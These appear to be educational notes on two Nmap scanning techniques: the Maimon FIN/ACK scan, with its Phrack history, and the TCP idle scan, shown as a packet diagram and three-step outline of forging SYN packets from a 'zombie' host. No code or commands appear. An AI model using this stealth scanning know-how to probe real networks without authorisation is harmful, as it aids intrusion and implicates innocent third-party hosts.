The Maimon scan is named after its discoverer, Uriel Maimon. He described the technique in Phrack Magazine issue #49 (November 1996). Nmap, which included this technique, was released two issues later. This technique is exactly the same as NULL, FIN, and Xmas scans, except that the probe is FIN/ACK. According to RFC 793 (TCP), a RST packet should be generated in response to such a probe whether the port is open or closed. However, Uriel noticed that many BSD-derived systems simply drop the packet if the port is open.

TCP Idle Scan (using Nmap)

Scanner --- SYN/ACK ---> Zombie

Scanner <--- RST with IP ID = 1 --- Zombie
Scanner --- Forged from zombie SYN ---> Target

Then when open port:

Target --- SYN/ACK ---> Zombie
Target <--- RST IP ID = 2 --- Zombie
Scanner --- SYN/ACK ---> Zombie
Scanner <--- RST IP ID = 3 --- Zombie

Or when closed or filtered port:

Target --- Timeout or RST ---> Zombie (With timeout or RST no ID is increased)
Scanner --- SYN/ACK ---> Zombie
Scanner <--- RST IP ID = 2 --- Zombie

Fundamentally, an idle scan consists of three steps that are repeated for each port:

Probe the zombie's IP ID and record it.
Forge a SYN packet from the zombie and send it to the desired port on the target. Depending on the port state, the target's reaction may or may not cause the zombie's IP ID to be incremented.
Probe the zombie's IP ID again. The target port state is then determined by comparing this new IP ID with the one recorded in step 1.